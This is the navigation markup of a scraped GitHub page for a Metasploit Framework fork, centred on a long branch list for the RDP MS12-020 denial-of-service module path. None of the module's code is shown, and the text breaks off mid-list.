js-select-menu search-context-select-menu"> - <span class="minibutton select-menu-button js-menu-target"> - <span class="js-select-button">This repository</span> - </span> - - <div class="select-menu-modal-holder js-menu-content js-navigation-container"> - <div class="select-menu-modal"> - - <div class="select-menu-item js-navigation-item js-this-repository-navigation-item selected"> - <span class="select-menu-item-icon octicon octicon-check"></span> - <input type="radio" class="js-search-this-repository" name="search_target" value="repository" checked="checked" /> - <div class="select-menu-item-text js-select-button-text">This repository</div> - </div> <!-- /.select-menu-item --> - - <div class="select-menu-item js-navigation-item js-all-repositories-navigation-item"> - <span class="select-menu-item-icon octicon octicon-check"></span> - <input type="radio" name="search_target" value="global" /> - <div class="select-menu-item-text js-select-button-text">All repositories</div> - </div> <!-- /.select-menu-item --> - - </div> - </div> - </div> - - <span class="octicon help tooltipped downwards" title="Show command bar help"> - <span class="octicon octicon-question"></span> - </span> - - - <input type="hidden" name="ref" value="cmdform"> - -</form> - </div> - - </div> -</div> - - - - - - <div class="site" itemscope itemtype="http://schema.org/WebPage"> - - <div class="pagehead repohead instapaper_ignore readability-menu"> - <div class="container"> - - -<ul class="pagehead-actions"> - - - <li> - <a href="/login?return_to=%2Fjvazquez-r7%2Fmetasploit-framework" - class="minibutton with-count js-toggler-target star-button entice tooltipped upwards" - title="You must be signed in to use this feature" rel="nofollow"> - <span class="octicon octicon-star"></span>Star -</a> -<a class="social-count js-social-count" href="/jvazquez-r7/metasploit-framework/stargazers"> - 1 -</a> - - </li> - - <li> - <a href="/login?return_to=%2Fjvazquez-r7%2Fmetasploit-framework" - class="minibutton with-count js-toggler-target fork-button entice tooltipped upwards" - title="You must be signed in to fork a repository" rel="nofollow"> - <span class="octicon octicon-git-branch"></span>Fork - </a> - <a href="/jvazquez-r7/metasploit-framework/network" class="social-count"> - 1,217 - </a> - </li> -</ul> - - <h1 itemscope itemtype="http://data-vocabulary.org/Breadcrumb" class="entry-title public"> - <span class="repo-label"><span>public</span></span> - <span class="mega-octicon octicon-repo"></span> - <span class="author"> - <a href="/jvazquez-r7" class="url fn" itemprop="url" rel="author"><span itemprop="title">jvazquez-r7</span></a> - </span> - <span class="repohead-name-divider">/</span> - <strong><a href="/jvazquez-r7/metasploit-framework" class="js-current-repository js-repo-home-link">metasploit-framework</a></strong> - - <span class="page-context-loader"> - <img alt="Octocat-spinner-32" height="16" src="https://github.global.ssl.fastly.net/images/spinners/octocat-spinner-32.gif" width="16" /> - </span> - - <span class="fork-flag"> - <span class="text">forked from <a href="/rapid7/metasploit-framework">rapid7/metasploit-framework</a></span> - </span> - </h1> - </div><!-- /.container --> - </div><!-- /.repohead --> - - <div class="container"> - - <div class="repository-with-sidebar repo-container "> - - <div class="repository-sidebar"> - - -<div class="repo-nav repo-nav-full js-repository-container-pjax js-octicon-loaders"> - <div class="repo-nav-contents"> - <ul class="repo-menu"> - <li class="tooltipped leftwards" title="Code"> - <a href="/jvazquez-r7/metasploit-framework" aria-label="Code" class="js-selected-navigation-item selected" data-gotokey="c" data-pjax="true" data-selected-links="repo_source repo_downloads repo_commits repo_tags repo_branches /jvazquez-r7/metasploit-framework"> - <span class="octicon octicon-code"></span> <span class="full-word">Code</span> - <img alt="Octocat-spinner-32" class="mini-loader" height="16" src="https://github.global.ssl.fastly.net/images/spinners/octocat-spinner-32.gif" width="16" /> -</a> </li> - - - <li class="tooltipped leftwards" title="Pull Requests"><a href="/jvazquez-r7/metasploit-framework/pulls" aria-label="Pull Requests" class="js-selected-navigation-item js-disable-pjax" data-gotokey="p" data-selected-links="repo_pulls /jvazquez-r7/metasploit-framework/pulls"> - <span class="octicon octicon-git-pull-request"></span> <span class="full-word">Pull Requests</span> - <span class='counter'>1</span> - <img alt="Octocat-spinner-32" class="mini-loader" height="16" src="https://github.global.ssl.fastly.net/images/spinners/octocat-spinner-32.gif" width="16" /> -</a> </li> - - - </ul> - <div class="repo-menu-separator"></div> - <ul class="repo-menu"> - - <li class="tooltipped leftwards" title="Pulse"> - <a href="/jvazquez-r7/metasploit-framework/pulse" aria-label="Pulse" class="js-selected-navigation-item " data-pjax="true" data-selected-links="pulse /jvazquez-r7/metasploit-framework/pulse"> - <span class="octicon octicon-pulse"></span> <span class="full-word">Pulse</span> - <img alt="Octocat-spinner-32" class="mini-loader" height="16" src="https://github.global.ssl.fastly.net/images/spinners/octocat-spinner-32.gif" width="16" /> -</a> </li> - - <li class="tooltipped leftwards" title="Graphs"> - <a href="/jvazquez-r7/metasploit-framework/graphs" aria-label="Graphs" class="js-selected-navigation-item " data-pjax="true" data-selected-links="repo_graphs repo_contributors /jvazquez-r7/metasploit-framework/graphs"> - <span class="octicon octicon-graph"></span> <span class="full-word">Graphs</span> - <img alt="Octocat-spinner-32" class="mini-loader" height="16" src="https://github.global.ssl.fastly.net/images/spinners/octocat-spinner-32.gif" width="16" /> -</a> </li> - - <li class="tooltipped leftwards" title="Network"> - <a href="/jvazquez-r7/metasploit-framework/network" aria-label="Network" class="js-selected-navigation-item js-disable-pjax" data-selected-links="repo_network /jvazquez-r7/metasploit-framework/network"> - <span class="octicon octicon-git-branch"></span> <span class="full-word">Network</span> - <img alt="Octocat-spinner-32" class="mini-loader" height="16" src="https://github.global.ssl.fastly.net/images/spinners/octocat-spinner-32.gif" width="16" /> -</a> </li> - </ul> - - - </div> -</div> - - <div class="only-with-full-nav"> - - - - -<div class="clone-url open" - data-protocol-type="http" - data-url="/users/set_protocol?protocol_selector=http&amp;protocol_type=clone"> - <h3><strong>HTTPS</strong> clone URL</h3> - <div class="clone-url-box"> - <input type="text" class="clone js-url-field" - value="https://github.com/jvazquez-r7/metasploit-framework.git" readonly="readonly"> - - <span class="js-zeroclipboard url-box-clippy minibutton zeroclipboard-button" data-clipboard-text="https://github.com/jvazquez-r7/metasploit-framework.git" data-copied-hint="copied!" title="copy to clipboard"><span class="octicon octicon-clippy"></span></span> - </div> -</div> - - - -<div class="clone-url " - data-protocol-type="subversion" - data-url="/users/set_protocol?protocol_selector=subversion&amp;protocol_type=clone"> - <h3><strong>Subversion</strong> checkout URL</h3> - <div class="clone-url-box"> - <input type="text" class="clone js-url-field" - value="https://github.com/jvazquez-r7/metasploit-framework" readonly="readonly"> - - <span class="js-zeroclipboard url-box-clippy minibutton zeroclipboard-button" data-clipboard-text="https://github.com/jvazquez-r7/metasploit-framework" data-copied-hint="copied!" title="copy to clipboard"><span class="octicon octicon-clippy"></span></span> - </div> -</div> - - -<p class="clone-options">You can clone with - <a href="#" class="js-clone-selector" data-protocol="http">HTTPS</a>, - or <a href="#" class="js-clone-selector" data-protocol="subversion">Subversion</a>. - <span class="octicon help tooltipped upwards" title="Get help on which URL is right for you."> - <a href="https://help.github.com/articles/which-remote-url-should-i-use"> - <span class="octicon octicon-question"></span> - </a> - </span> -</p> - - - - <a href="/jvazquez-r7/metasploit-framework/archive/5dcff47b1efa5359562a28b5717a9f4895185597.zip" - class="minibutton sidebar-button" - title="Download this repository as a zip file" - rel="nofollow"> - <span class="octicon octicon-cloud-download"></span> - Download ZIP - </a> - </div> - </div><!-- /.repository-sidebar --> - - <div id="js-repo-pjax-container" class="repository-content context-loader-container" data-pjax-container> - - - -<!-- blob contrib key: blob_contributors:v21:37b846eca7869335328b7ac6181df7cc --> - -<p title="This is a placeholder element" class="js-history-link-replace hidden"></p> - -<a href="/jvazquez-r7/metasploit-framework/find/5dcff47b1efa5359562a28b5717a9f4895185597" data-pjax data-hotkey="t" class="js-show-file-finder" style="display:none">Show File Finder</a> - -<div class="file-navigation"> - - - -<div class="select-menu js-menu-container js-select-menu" > - <span class="minibutton select-menu-button js-menu-target" data-hotkey="w" - data-master-branch="master" - data-ref="" - role="button" aria-label="Switch branches or tags" tabindex="0"> - <span class="octicon octicon-git-branch"></span> - <i>tree:</i> - <span class="js-select-button">5dcff47b1e</span> - </span> - - <div class="select-menu-modal-holder js-menu-content js-navigation-container" data-pjax> - - <div class="select-menu-modal"> - <div class="select-menu-header"> - <span class="select-menu-title">Switch branches/tags</span> - <span class="octicon octicon-remove-close js-menu-close"></span> - </div> <!-- /.select-menu-header --> - - <div class="select-menu-filters"> - <div class="select-menu-text-filter"> - <input type="text" aria-label="Filter branches/tags" id="context-commitish-filter-field" class="js-filterable-field js-navigation-enable" placeholder="Filter branches/tags"> - </div> - <div class="select-menu-tabs"> - <ul> - <li class="select-menu-tab"> - <a href="#" data-tab-filter="branches" class="js-select-menu-tab">Branches</a> - </li> - <li class="select-menu-tab"> - <a href="#" data-tab-filter="tags" class="js-select-menu-tab">Tags</a> - </li> - </ul> - </div><!-- /.select-menu-tabs --> - </div><!-- /.select-menu-filters --> - - <div class="select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket" data-tab-filter="branches"> - - <div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring"> - - - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/3vi1john-file_collector/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="3vi1john-file_collector" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="3vi1john-file_collector">3vi1john-file_collector</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/403labs-post-pgpass_creds/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="403labs-post-pgpass_creds" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="403labs-post-pgpass_creds">403labs-post-pgpass_creds</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/CVE-2013-1814/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="CVE-2013-1814" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="CVE-2013-1814">CVE-2013-1814</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/CWE/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="CWE" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="CWE">CWE</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ChrisJohnRiley-concrete5_member_list/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ChrisJohnRiley-concrete5_member_list" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ChrisJohnRiley-concrete5_member_list">ChrisJohnRiley-concrete5_member_list</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ChrisJohnRiley-sip_invite_spoof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ChrisJohnRiley-sip_invite_spoof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ChrisJohnRiley-sip_invite_spoof">ChrisJohnRiley-sip_invite_spoof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/Datacut-master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="Datacut-master" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="Datacut-master">Datacut-master</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/LittleLightLittleFire-module-cve-2012-1723/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="LittleLightLittleFire-module-cve-2012-1723" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="LittleLightLittleFire-module-cve-2012-1723">LittleLightLittleFire-module-cve-2012-1723</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/Meatballs1-smb_login/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="Meatballs1-smb_login" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="Meatballs1-smb_login">Meatballs1-smb_login</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/Meatballs1-uplay/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="Meatballs1-uplay" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="Meatballs1-uplay">Meatballs1-uplay</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/WinRM/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="WinRM" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="WinRM">WinRM</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/account_methods_keyring/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="account_methods_keyring" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="account_methods_keyring">account_methods_keyring</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/actfax_raw_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="actfax_raw_bof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="actfax_raw_bof">actfax_raw_bof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/add_doc_stager/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="add_doc_stager" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="add_doc_stager">add_doc_stager</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/add-kaminari-to-gemcache/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="add-kaminari-to-gemcache" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="add-kaminari-to-gemcache">add-kaminari-to-gemcache</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/add_ms13_071_info/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="add_ms13_071_info" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="add_ms13_071_info">add_ms13_071_info</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/adobe_sandbox_adobecollabsync/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="adobe_sandbox_adobecollabsync" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="adobe_sandbox_adobecollabsync">adobe_sandbox_adobecollabsync</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/apache_rave_creds/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="apache_rave_creds" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="apache_rave_creds">apache_rave_creds</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/apache_rave_creds_2/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="apache_rave_creds_2" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="apache_rave_creds_2">apache_rave_creds_2</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/apple_quicktime_mime_type/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="apple_quicktime_mime_type" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="apple_quicktime_mime_type">apple_quicktime_mime_type</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/apple_quicktime_rdrf_refs/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="apple_quicktime_rdrf_refs" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="apple_quicktime_rdrf_refs">apple_quicktime_rdrf_refs</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/apple_quicktime_texml_font_table/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="apple_quicktime_texml_font_table" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="apple_quicktime_texml_font_table">apple_quicktime_texml_font_table</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/arkeia_refs/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="arkeia_refs" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="arkeia_refs">arkeia_refs</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/arm_stagers/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="arm_stagers" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="arm_stagers">arm_stagers</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/arm_stagers_cleanup/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="arm_stagers_cleanup" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="arm_stagers_cleanup">arm_stagers_cleanup</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/audio_coder_m3u/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="audio_coder_m3u" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="audio_coder_m3u">audio_coder_m3u</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/auth_brute_patch/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="auth_brute_patch" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="auth_brute_patch">auth_brute_patch</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/axigen_file_access/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="axigen_file_access" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="axigen_file_access">axigen_file_access</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/bcoles-cuteflow_2.11.2_upload_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="bcoles-cuteflow_2.11.2_upload_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="bcoles-cuteflow_2.11.2_upload_exec">bcoles-cuteflow_2.11.2_upload_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/bcoles-openfiler_networkcard_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="bcoles-openfiler_networkcard_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="bcoles-openfiler_networkcard_exec">bcoles-openfiler_networkcard_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/bcoles-qnx_qconn_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="bcoles-qnx_qconn_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="bcoles-qnx_qconn_exec">bcoles-qnx_qconn_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/beehive_upload/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="beehive_upload" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="beehive_upload">beehive_upload</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/bigant_server_dupf_upload/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="bigant_server_dupf_upload" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="bigant_server_dupf_upload">bigant_server_dupf_upload</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/bigant_server_sch_dupf_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="bigant_server_sch_dupf_bof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="bigant_server_sch_dupf_bof">bigant_server_sch_dupf_bof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/bmerinofe-telnet_ruggedcom/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="bmerinofe-telnet_ruggedcom" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="bmerinofe-telnet_ruggedcom">bmerinofe-telnet_ruggedcom</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/bug/7292-testcase/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="bug/7292-testcase" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="bug/7292-testcase">bug/7292-testcase</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/bug/active_support/dependencies-compatibility/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="bug/active_support/dependencies-compatibility" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="bug/active_support/dependencies-compatibility">bug/active_support/dependencies-compatibility</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/bug/fastlib-nested-pathnames/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="bug/fastlib-nested-pathnames" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="bug/fastlib-nested-pathnames">bug/fastlib-nested-pathnames</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/bug/fix-double-slashes/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="bug/fix-double-slashes" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="bug/fix-double-slashes">bug/fix-double-slashes</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/bug/handle-100-continue/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="bug/handle-100-continue" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="bug/handle-100-continue">bug/handle-100-continue</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/bug/read-module-content-errno-enoent/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="bug/read-module-content-errno-enoent" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="bug/read-module-content-errno-enoent">bug/read-module-content-errno-enoent</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/bug/windows-pro-modules/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="bug/windows-pro-modules" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="bug/windows-pro-modules">bug/windows-pro-modules</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/bug/wrong-file_changed-argument/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="bug/wrong-file_changed-argument" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="bug/wrong-file_changed-argument">bug/wrong-file_changed-argument</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/bulletproof_ftp_creds/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="bulletproof_ftp_creds" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="bulletproof_ftp_creds">bulletproof_ftp_creds</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span 